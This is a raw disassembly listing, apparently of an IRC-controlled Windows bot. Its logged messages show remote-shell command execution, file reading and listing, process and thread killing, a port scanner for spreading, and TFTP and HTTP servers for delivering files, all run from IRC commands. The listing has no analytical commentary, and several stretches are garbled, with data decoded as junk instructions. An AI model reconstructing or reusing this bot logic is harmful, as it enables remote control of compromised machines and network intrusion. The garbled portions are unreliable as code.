		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		push	edi
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		push	esi
		push	edi
		push	offset aMainActionSS_ ;	"[MAIN]: Action: %s: %s."
		call	sub_41621B
		add	esp, 2Ch
		jmp	loc_40845F
; ---------------------------------------------------------------------------


loc_406D99:				; CODE XREF: seg000:00404D38j
					; seg000:00404D4Fj
		cmp	[ebp-0Ch], ebx
		jz	loc_40845F
		push	edi
		call	sub_41AC70
		push	dword ptr [ebp+18h]
		mov	esi, eax
		call	sub_41AC70
		add	eax, [ebp-0Ch]
		push	dword ptr [ebp+20h]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41DBE0
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_40845F
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		push	esi
		push	edi
		push	offset aMainPrivmsgSS_ ; "[MAIN]: Privmsg: %s: %s."
		call	sub_41621B
		jmp	loc_405A3A
; ---------------------------------------------------------------------------


loc_406DEC:				; CODE XREF: seg000:00404D0Aj
					; seg000:00404D21j
		cmp	[ebp-0Ch], ebx
		jz	loc_403498
		push	dword ptr [ebp+20h]
		push	dword ptr [ebp-0Ch]
		call	sub_41DBE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_403498
		push	eax
		push	edi
		call	sub_4160AF
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset aMainAliasAdded ; "[MAIN]: Alias	added: %s."
		push	eax
		call	sub_41D260
		add	esp, 14h
		jmp	loc_40547E
; ---------------------------------------------------------------------------


loc_406E2B:				; CODE XREF: seg000:00404CCAj
					; seg000:00404CE1j
		push	edi
		push	dword ptr [ebp+24h]
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40845F
		mov	esi, [ebp+esi-8Ch]
		cmp	esi, ebx
		jz	short loc_406EC8
		push	esi
		push	dword ptr [ebp-0Ch]
		call	sub_41DBE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_406EB0
		push	esi
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp-90h]
		push	dword ptr [ebp-94h]
		push	offset aSSSS_1	; "%s %s %s :%s"
		push	eax
		call	sub_41D260
		lea	eax, [ebp-2C8h]
		push	1FFh
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41D800
		push	esi
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset aMainGethostSCo ; "[MAIN]: Gethost: %s, Command:	%s"
		push	eax
		call	sub_41D260
		add	esp, 34h
		inc	dword ptr [ebp+2Ch]
		jmp	loc_4080D2
; ---------------------------------------------------------------------------


loc_406EB0:				; CODE XREF: seg000:00406E58j
		lea	eax, [ebp-2C8h]
		push	offset aMainUnableToEx ; "[MAIN]: Unable to extract Gethost comma"...
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx
		jmp	loc_4080D2
; ---------------------------------------------------------------------------


loc_406EC8:				; CODE XREF: seg000:00406E47j
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+24h]
		push	eax
		call	sub_41A698
		add	esp, 0Ch
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		push	edi
		push	offset aMainGethostS_ ;	"[MAIN]: Gethost: %s."
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_41D360
		add	esp, 24h
		jmp	loc_4080D2
; ---------------------------------------------------------------------------


loc_406F0F:				; CODE XREF: seg000:00404766j
					; seg000:0040477Dj
		push	offset aR_0	; "r"
		push	edi
		call	sub_41D0E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_406F89
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		call	sub_41DEE0
		add	esp, 0Ch


loc_406F38:				; CODE XREF: seg000:00406F67j
		test	eax, eax
		jz	short loc_406F69
		push	1
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		push	esi
		lea	eax, [ebp-2C8h]
		push	ebx
		push	eax
		call	sub_41DEE0
		add	esp, 20h
		jmp	short loc_406F38
; ---------------------------------------------------------------------------


loc_406F69:				; CODE XREF: seg000:00406F3Aj
		push	esi
		call	sub_41ACF0
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset aMainReadFileCo ; "[MAIN]: Read file complete: %s"
		push	eax
		call	sub_41D260
		add	esp, 10h
		jmp	loc_406913
; ---------------------------------------------------------------------------


loc_406F89:				; CODE XREF: seg000:00406F20j
		push	edi
		push	offset aMainReadFileFa ; "[MAIN]: Read file failed: %s"
		jmp	loc_4068CE
; ---------------------------------------------------------------------------


loc_406F94:				; CODE XREF: seg000:00404738j
					; seg000:0040474Fj
		cmp	[ebp-0Ch], ebx
		jz	loc_40845F
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41DBE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40845F
		push	offset asc_43EA58 ; "\n"
		push	esi
		call	sub_41E560
		push	esi
		call	sub_4193EE
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_406FD4
		push	offset aCmdErrorSendin ; "[CMD]: Error sending to remote shell."
		jmp	loc_407156
; ---------------------------------------------------------------------------


loc_406FD4:				; CODE XREF: seg000:00406FC8j
		push	esi
		push	offset aCmdCommandsS ; "[CMD]: Commands: %s"
		jmp	loc_4080C3
; ---------------------------------------------------------------------------


loc_406FDF:				; CODE XREF: seg000:0040470Aj
					; seg000:00404721j
		cmp	[ebp-0Ch], ebx
		jz	loc_40845F
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41DBE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40845F
		push	eax
		call	sub_4179FA
		test	eax, eax
		pop	ecx
		jnz	short loc_407010
		push	offset aMircClientNotO ; "[mIRC]: Client not open."
		jmp	loc_407156
; ---------------------------------------------------------------------------


loc_407010:				; CODE XREF: seg000:00407004j
		push	offset aMircCommandSen ; "[mIRC]: Command sent."
		jmp	loc_407156
; ---------------------------------------------------------------------------


loc_40701A:				; CODE XREF: seg000:004046DCj
					; seg000:004046F3j
		push	ebx
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		push	edi
		call	loc_410CAB
		push	edi
		push	offset aFileListS ; "[FILE]: List: %s"
		jmp	loc_406B8F
; ---------------------------------------------------------------------------


loc_407035:				; CODE XREF: seg000:004046AEj
					; seg000:004046C5j
		push	edi
		call	near ptr 3D0000h
		sub	al, 85h
		sal	byte ptr [eax+ecx+57h],	68h
		int	3		; Trap to Debugger
		jmp	near ptr 0C2B708Bh
; ---------------------------------------------------------------------------
		push	offset aFile_3	; "[FILE]:"
		call	loc_417935
		push	eax
		lea	eax, [ebp-2C8h]
		push	200h
		push	eax
		call	sub_41D360
		add	esp, 10h
		jmp	loc_4068F2
; ---------------------------------------------------------------------------


loc_40706C:				; CODE XREF: seg000:00404680j
					; seg000:00404697j
		push	edi
		call	sub_41D560
		push	eax
		call	sub_419367
		pop	ecx
		pop	ecx
		push	1


loc_40707C:				; DATA XREF: seg002:00445FC8o
					; seg002:00445FDCo ...
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_407089
		push	offset aProcProcessKil ; "[PROC]: Process killed ID: %s"
		jmp	short loc_40708E
; ---------------------------------------------------------------------------


loc_407089:				; CODE XREF: seg000:00407080j
		push	offset aProcFailedToTe ; "[PROC]: Failed to terminate process ID:"...


loc_40708E:				; CODE XREF: seg000:00407087j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	loc_4066BC
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		add	esp, 14h
		jmp	loc_4066BC
; ---------------------------------------------------------------------------


loc_4070C7:				; CODE XREF: seg000:00404652j
					; seg000:00404669j
		push	ebx
		push	ebx
		push	edi
		push	dword ptr [ebp-4]
		push	ebx
		push	dword ptr [ebp+0Ch]
		call	sub_419046
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_4070E9
		push	offset aProcProcessK_0 ; "[PROC]: Process killed: %s"
		jmp	loc_4068CE
; ---------------------------------------------------------------------------


loc_4070E9:				; CODE XREF: seg000:004070DDj
		push	offset aProcFailedTo_0 ; "[PROC]: Failed to terminate process: %s"...
		jmp	loc_4068CE
; ---------------------------------------------------------------------------


loc_4070F3:				; CODE XREF: seg000:00404624j
					; seg000:0040463Bj
		push	edi
		call	ds:dword_451530
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	short loc_407130
		push	2
		lea	eax, [ebp+8]
		push	4
		push	eax
		call	ds:dword_4514AC
		cmp	eax, ebx
		jz	short loc_407151
		push	dword ptr [eax]
		push	edi
		push	offset aDnsLookupSS_ ; "[DNS]: Lookup: %s -> %s."


loc_40711C:				; CODE XREF: seg000:0040714Fj
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		add	esp, 10h
		jmp	loc_4053E0
; ---------------------------------------------------------------------------


loc_407130:				; CODE XREF: seg000:00407100j
		push	edi
		call	ds:dword_451574
		cmp	eax, ebx
		jz	short loc_407151
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	ds:dword_45157C
		push	eax
		push	edi
		push	offset aDnsLookupSS__0 ; "[DNS]: Lookup: %s -> %s."
		jmp	short loc_40711C
; ---------------------------------------------------------------------------


loc_407151:				; CODE XREF: seg000:00407112j
					; seg000:00407139j
		push	offset aDnsCouldnTReso ; "[DNS]: Couldn't resolve hostname."


loc_407156:				; CODE XREF: seg000:00406753j
					; seg000:00406FCFj ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx
		jmp	loc_4053E0
; ---------------------------------------------------------------------------


loc_407169:				; CODE XREF: seg000:004045F6j
					; seg000:0040460Dj
		push	7Fh
		push	edi
		push	dword ptr [ebp+1Ch]
		call	sub_41D800
		push	edi
		lea	eax, [ebp-2C8h]
		push	offset aMainServerChan ; "[MAIN]: Server changed to: '%s'."
		push	eax
		call	sub_41D260
		add	esp, 18h
		jmp	loc_406698
; ---------------------------------------------------------------------------


loc_40718E:				; CODE XREF: seg000:004045C8j
					; seg000:004045DFj
		push	5
		push	ebx
		push	ebx
		push	edi
		push	offset aOpen_1	; "open"
		push	ebx
		call	ds:dword_451460
		test	eax, eax
		push	edi
		jz	short loc_4071AE
		push	offset aShellFileOpene ; "[SHELL]: File	opened:	%s"
		jmp	loc_4068CE
; ---------------------------------------------------------------------------


loc_4071AE:				; CODE XREF: seg000:004071A2j
		push	offset aShellCouldnTOp ; "[SHELL]: Couldn't open file: %s"
		jmp	loc_4068CE
; ---------------------------------------------------------------------------


loc_4071B8:				; CODE XREF: seg000:0040459Aj
					; seg000:004045B1j
		mov	al, [edi]
		mov	ds:byte_43CC74,	al
		movsx	eax, byte ptr [edi]
		push	eax
		push	offset aMainPrefixChan ; "[MAIN]: Prefix changed to: '%c'."
		jmp	loc_4083DC
; ---------------------------------------------------------------------------


loc_4071CD:				; CODE XREF: seg000:0040456Cj
					; seg000:00404583j
		push	edi
		call	sub_41D560
		test	eax, eax
		pop	ecx
		jle	loc_40845F
		push	edi
		call	sub_41D560
		cmp	eax, 400h
		pop	ecx
		jge	loc_40845F
		push	ebx
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_408A38
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aNickS_0	; "NICK	%s"
		push	eax
		call	sub_41D260
		add	esp, 1Ch
		lea	eax, [ebp-2C8h]
		push	eax
		push	offset aS_17	; "%s\r\n"
		jmp	loc_406ABF
; ---------------------------------------------------------------------------


loc_407224:				; CODE XREF: seg000:0040453Ej
					; seg000:00404555j
		push	edi
		call	sub_41D560
		test	eax, eax
		pop	ecx
		jle	loc_403498
		push	edi
		call	sub_41D560
		cmp	eax, 400h
		pop	ecx
		jge	loc_403498
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	edi
		call	sub_41D560
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4523C4[eax]
		call	sub_401417
		pop	ecx
		pop	ecx
		push	1F4h
		call	ds:dword_4F12F4	; Sleep
		push	edi
		call	sub_41D560
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4523C4[eax]
		call	ds:dword_451588
		push	dword ptr [ebp-10h]
		push	edi
		call	sub_41D560
		imul	eax, 234h
		pop	ecx
		push	ds:dword_4523CC[eax]
		call	near ptr 3D0000h
		fist	dword ptr [edi-18h]
		mov	dh, 62h
		add	[eax], eax
		imul	eax, 234h
		push	edi
		mov	ds:dword_4523CC[eax], ebx
		call	sub_41D560
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr ds:dword_4521B8[eax], bl
		jmp	loc_403498
; ---------------------------------------------------------------------------


loc_4072CF:				; CODE XREF: seg000:00404510j
					; seg000:00404527j
		push	edi
		push	offset aAll	; "all"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4072FE
		call	sub_408F08
		cmp	eax, ebx
		jle	short loc_4072F4
		push	eax
		push	offset aThreadsStopped ; "[THREADS]: Stopped: %d thread(s)."
		jmp	loc_40546F
; ---------------------------------------------------------------------------


loc_4072F4:				; CODE XREF: seg000:004072E7j
		push	offset aThreadsNoActiv ; "[THREADS]: No	active threads found."
		jmp	loc_407C35
; ---------------------------------------------------------------------------


loc_4072FE:				; CODE XREF: seg000:004072DEj
		mov	eax, [ebp-0A4h]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_403498
		lea	eax, [ebp+edi*4-94h]
		mov	[ebp+2Ch], eax


loc_40731A:				; CODE XREF: seg000:0040738Bj
		mov	eax, [ebp+2Ch]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_403498
		push	esi
		call	sub_41D560
		push	eax
		call	sub_408E7A
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_407341
		push	offset aThreadsKilledT ; "[THREADS]: Killed thread: %s."
		jmp	short loc_407346
; ---------------------------------------------------------------------------


loc_407341:				; CODE XREF: seg000:00407338j
		push	offset aThreadsFailedT ; "[THREADS]: Failed to kill thread: %s."


loc_407346:				; CODE XREF: seg000:0040733Fj
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_407376
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		add	esp, 14h


loc_407376:				; CODE XREF: seg000:00407358j
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4161A7
		add	dword ptr [ebp+2Ch], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40731A
		jmp	loc_403498
; ---------------------------------------------------------------------------


loc_407392:				; CODE XREF: seg000:004044E2j
					; seg000:004044F9j
		cmp	[ebp-0Ch], ebx
		jz	loc_40845F
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41DBE0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_40845F
		push	esi
		push	offset aS_26	; "%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		push	esi
		push	offset aMainIrcRawS_ ; "[MAIN]:	IRC Raw: %s."
		jmp	loc_406CBB
; ---------------------------------------------------------------------------


loc_4073C9:				; CODE XREF: seg000:004044B4j
					; seg000:004044CBj
		push	edi
		push	offset aPartS_1	; "PART	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		push	edi
		push	offset aMainPartedChan ; "[MAIN]: Parted channel: '%s'."
		jmp	loc_406CBB
; ---------------------------------------------------------------------------


loc_4073E2:				; CODE XREF: seg000:00404486j
					; seg000:0040449Dj
		push	dword ptr [ebp+esi-8Ch]
		push	edi
		push	offset aJoinSS_3 ; "JOIN %s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		push	edi
		push	offset aMainJoinedCh_0 ; "[MAIN]: Joined channel: '%s'."
		jmp	loc_406B8F
; ---------------------------------------------------------------------------


loc_407402:				; CODE XREF: seg000:00404458j
					; seg000:0040446Fj
		push	edi
		push	offset aNickS_1	; "NICK	%s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		push	edi
		push	offset aMainNickChange ; "[MAIN]: Nick changed to: '%s'."
		jmp	loc_406CBB
; ---------------------------------------------------------------------------


loc_40741B:				; CODE XREF: seg000:0040441Dj
					; seg000:00404432j
		mov	al, ds:byte_4440D2
		mov	[ebp+8], ebx
		cmp	al, bl
		mov	edx, offset byte_4440D2
		jz	loc_403498
		mov	ecx, edx


loc_407432:				; CODE XREF: seg000:0040743Aj
		inc	dword ptr [ebp+8]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_407432
		cmp	al, bl
		jz	loc_403498
		mov	[ebp+20h], edx


loc_407447:				; CODE XREF: seg000:00407701j
		push	0Bh
		call	sub_408F87
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	dword ptr [ebp+8]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_407496
		push	ecx
		lea	eax, [ebp-2C8h]
		push	offset aScanAlreadyD_0 ; "[SCAN]: Already %d scanning threads. To"...
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		add	esp, 20h
		jmp	loc_4076F8
; ---------------------------------------------------------------------------


loc_407496:				; CODE XREF: seg000:00407461j
		or	dword ptr [ebp-300h], 0FFFFFFFFh
		cmp	ds:dword_4439F0, ebx
		mov	dword ptr [ebp-304h], 32h
		mov	dword ptr [ebp-318h], 5
		mov	[ebp-314h], ebx
		mov	[ebp+8], ebx
		jz	short loc_407503
		mov	eax, [ebp+20h]
		mov	edi, offset dword_4439F0
		lea	esi, [eax-0Ah]


loc_4074CD:				; CODE XREF: seg000:004074E5j
		lea	eax, [edi-28h]
		push	esi
		push	eax
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4074E9
		inc	dword ptr [ebp+8]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4074CD
		jmp	short loc_407503
; ---------------------------------------------------------------------------


loc_4074E9:				; CODE XREF: seg000:004074DBj
		mov	eax, [ebp+8]
		mov	ecx, eax
		mov	[ebp-300h], eax
		shl	ecx, 6
		mov	ecx, ds:dword_4439F0[ecx]
		mov	[ebp-31Ch], ecx


loc_407503:				; CODE XREF: seg000:004074C0j
					; seg000:004074E7j
		cmp	[ebp-31Ch], ebx
		jz	loc_40770C
		push	10h
		lea	eax, [ebp+18h]
		pop	esi
		push	eax
		lea	eax, [ebp-2D8h]
		push	eax
		mov	[ebp+18h], esi
		push	dword ptr [ebp+0Ch]
		call	ds:dword_451498
		mov	al, [ebp-9B3h]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp-2D4h], eax
		push	dword ptr [ebp-2D4h]
		call	ds:dword_45157C
		push	eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_41D800
		xor	eax, eax
		cmp	[ebp-9B3h], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp-430h]
		push	eax
		call	sub_41E3A0
		add	esp, 14h
		cmp	edi, ebx
		mov	[ebp+2Fh], bl
		jle	short loc_4075A5


loc_407583:				; CODE XREF: seg000:004075A3j
		cmp	eax, ebx
		jz	short loc_4075A5
		mov	byte ptr [eax],	78h
		lea	eax, [ebp-430h]
		push	30h
		push	eax
		call	sub_41E3A0
		inc	byte ptr [ebp+2Fh]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+2Fh]
		cmp	ecx, edi
		jl	short loc_407583


loc_4075A5:				; CODE XREF: seg000:00407581j
					; seg000:00407585j
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp-4]
		mov	[ebp-320h], eax
		mov	eax, [ebp-8]
		mov	edi, 80h
		mov	[ebp-2F4h], eax
		lea	eax, [ebp-420h]
		push	edi
		push	eax
		mov	dword ptr [ebp-2F0h], 1
		mov	[ebp-2F8h], esi
		call	sub_41D360
		push	offset dword_4DF350
		push	offset a143	; "#143"
		call	sub_41D900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40760F
		push	offset a143	; "#143"
		lea	eax, [ebp-3A0h]
		push	edi
		push	eax
		call	sub_41D360
		add	esp, 0Ch
		jmp	short loc_407615
; ---------------------------------------------------------------------------


loc_40760F:				; CODE XREF: seg000:004075F6j
		mov	[ebp-3A0h], bl


loc_407615:				; CODE XREF: seg000:0040760Dj
		cmp	[ebp-2F0h], ebx
		mov	eax, offset aRandom_1 ;	"Random"
		jnz	short loc_407627
		mov	eax, offset aSequential_0 ; "Sequential"


loc_407627:				; CODE XREF: seg000:00407620j
		push	dword ptr [ebp-304h]
		lea	ecx, [ebp-430h]
		push	dword ptr [ebp-314h]
		push	dword ptr [ebp-318h]
		push	dword ptr [ebp-31Ch]
		push	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aScanSPortSca_0 ; "[SCAN]: %s Port Scan started on %s:%d	w"...
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	0Bh
		push	eax
		call	sub_408D3F
		add	esp, 2Ch
		mov	[ebp-310h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-430h]
		push	ebx
		push	eax
		push	offset sub_40A146
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-310h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_4076B1


loc_40769F:				; CODE XREF: seg000:004076AFj
		cmp	[ebp-2ECh], ebx
		jnz	short loc_4076CC
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_40769F
; ---------------------------------------------------------------------------


loc_4076B1:				; CODE XREF: seg000:0040769Dj
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aScanFailedTo_3 ; "[SCAN]: Failed to start scan thread, er"...
		push	eax
		call	sub_41D260
		add	esp, 0Ch


loc_4076CC:				; CODE XREF: seg000:004076A5j
		cmp	[ebp-8], ebx
		jnz	short loc_4076EB
		push	ebx
		lea	eax, [ebp-2C8h]
		push	esi
		push	eax
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		add	esp, 14h


loc_4076EB:				; CODE XREF: seg000:004076CFj
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_4161A7
		pop	ecx


loc_4076F8:				; CODE XREF: seg000:00407491j
		add	dword ptr [ebp+20h], 0Bh
		mov	eax, [ebp+20h]	; CODE XREF: seg000:00407770j
		cmp	[eax], bl
		jnz	loc_407447
		jmp	loc_403498
; ---------------------------------------------------------------------------


loc_40770C:				; CODE XREF: seg000:00407509j
		push	offset aScanFailedTo_4 ; "[SCAN]: Failed to start scan,	port is	i"...
		jmp	loc_407C35
; ---------------------------------------------------------------------------


loc_407716:				; CODE XREF: seg000:004043F3j
					; seg000:00404408j
		push	5
		call	sub_408F87
		test	eax, eax
		pop	ecx
		jle	short loc_40773A
		push	offset aTftpAlreadyRun ; "[TFTP]: Already running."


loc_407727:				; CODE XREF: seg000:004047BCj
					; seg000:00404851j ...
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx
		jmp	loc_406698
; ---------------------------------------------------------------------------


loc_40773A:				; CODE XREF: seg000:00407720j
		mov	eax, [ebp+esi-90h]
		cmp	eax, ebx
		jz	short loc_40775D
		push	eax
		mov	edi, 104h
		lea	eax, [ebp-804h]
		push	edi
		push	eax
		call	sub_41D360
		add	esp, 0Ch
		jmp	short near ptr loc_407770+1
; ---------------------------------------------------------------------------


loc_40775D:				; CODE XREF: seg000:00407743j
		mov	edi, 104h
		lea	eax, [ebp-804h]
		push	edi
		push	eax
		push	ebx
		call	near ptr 3D0000h


loc_407770:				; CODE XREF: seg000:0040775Bj
		ja	short near ptr loc_4076FC+1
		mov	ah, 35h
		jz	short near ptr loc_407774+1 ; CODE XREF: seg000:loc_407774j
; ---------------------------------------------------------------------------
		dw 0FFFFh
; ---------------------------------------------------------------------------
		cmp	esi, ebx
		jnz	short loc_407781
		mov	esi, offset byte_43CCBC


loc_407781:				; CODE XREF: seg000:0040777Aj
		push	esi
		lea	eax, [ebp-700h]
		push	edi
		push	eax
		call	sub_41D360
		mov	eax, ds:dword_43CC58
		push	7Fh
		push	dword ptr [ebp-8Ch]
		mov	[ebp-5F4h], eax
		mov	eax, [ebp+0Ch]
		mov	[ebp-5F8h], ebx
		mov	[ebp-808h], eax
		lea	eax, [ebp-5F0h]
		push	eax
		call	sub_41D800
		mov	eax, [ebp-4]
		mov	[ebp-570h], eax
		mov	eax, [ebp-8]
		mov	[ebp-56Ch], eax
		lea	eax, [ebp-700h]
		push	eax
		lea	eax, [ebp-804h]
		push	eax
		lea	eax, [ebp-2C8h]
		push	dword ptr [ebp-5F4h]
		push	offset aTftpServerStar ; "[TFTP]: Server started on Port: %d, Fil"...
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	5
		push	eax
		call	sub_408D3F
		add	esp, 38h
		mov	[ebp-5FCh], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-808h]
		push	ebx
		push	eax
		push	offset loc_412AD0
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-5FCh]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_407851


loc_40783B:				; CODE XREF: seg000:0040784Fj
		cmp	[ebp-568h], ebx
		jnz	loc_406698
		push	32h
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_40783B
; ---------------------------------------------------------------------------


loc_407851:				; CODE XREF: seg000:00407839j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset aTftpFailedToSt ; "[TFTP]: Failed to start server thread, "...
		jmp	loc_4083DC
; ---------------------------------------------------------------------------


loc_407862:				; CODE XREF: seg000:004043C9j
					; seg000:004043DEj
		mov	edi, [ebp+esi-90h]
		cmp	edi, ebx
		jz	short loc_407881
		push	edi
		call	sub_41D560
		test	eax, eax
		pop	ecx
		jz	short loc_407881
		push	edi
		call	sub_41D560
		pop	ecx
		jmp	short loc_407886
; ---------------------------------------------------------------------------


loc_407881:				; CODE XREF: seg000:0040786Bj
					; seg000:00407876j
		mov	eax, ds:dword_43CC5C


loc_407886:				; CODE XREF: seg000:0040787Fj
		mov	esi, [ebp+esi-8Ch]
		mov	[ebp-584h], eax
		xor	eax, eax
		cmp	[ebp-9B0h], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp-570h], eax
		jz	short loc_4078B9
		lea	eax, [ebp-688h]
		push	esi
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx
		jmp	short loc_4078E4
; ---------------------------------------------------------------------------


loc_4078B9:				; CODE XREF: seg000:004078A6j
		lea	eax, [ebp-3E8h]
		push	104h
		push	eax
		call	near ptr 3D0000h
		fcom	dword ptr [ebx+53h]
		lea	eax, [ebp-2D4h]
		push	ebx
		push	eax
		lea	eax, [ebp-3E8h]
		push	eax
		call	sub_41DC60
		add	esp, 14h


loc_4078E4:				; CODE XREF: seg000:004078B7j
		lea	eax, [ebp-688h]
		push	eax
		call	sub_41AC70
		cmp	byte ptr [ebp+eax-689h], 5Ch
		pop	ecx
		jnz	short loc_40790F
		lea	eax, [ebp-688h]
		push	eax
		call	sub_41AC70
		pop	ecx
		mov	[ebp+eax-689h],	bl


loc_40790F:				; CODE XREF: seg000:004078F9j
		push	dword ptr [ebp-8Ch]
		mov	esi, [ebp+0Ch]
		lea	eax, [ebp-910h]
		mov	[ebp-914h], esi
		push	80h
		push	eax
		call	sub_41D360
		mov	eax, [ebp-8]
		mov	edi, [ebp-4]
		add	esp, 0Ch
		mov	[ebp-574h], eax
		lea	eax, [ebp-688h]
		mov	[ebp-578h], edi
		push	eax
		push	dword ptr [ebp-584h]
		push	esi
		call	sub_402617
		pop	ecx
		push	eax
		lea	eax, [ebp-2C8h]
		push	offset aHttpdServerLis ; "[HTTPD]: Server listening on IP: %s:%d,"...
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2C8h]
		push	3
		push	eax
		call	sub_408D3F
		add	esp, 20h
		mov	[ebp-57Ch], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-914h]
		push	ebx
		push	eax
		push	offset sub_410418
		push	ebx
		push	ebx
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-57Ch]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_4079C7


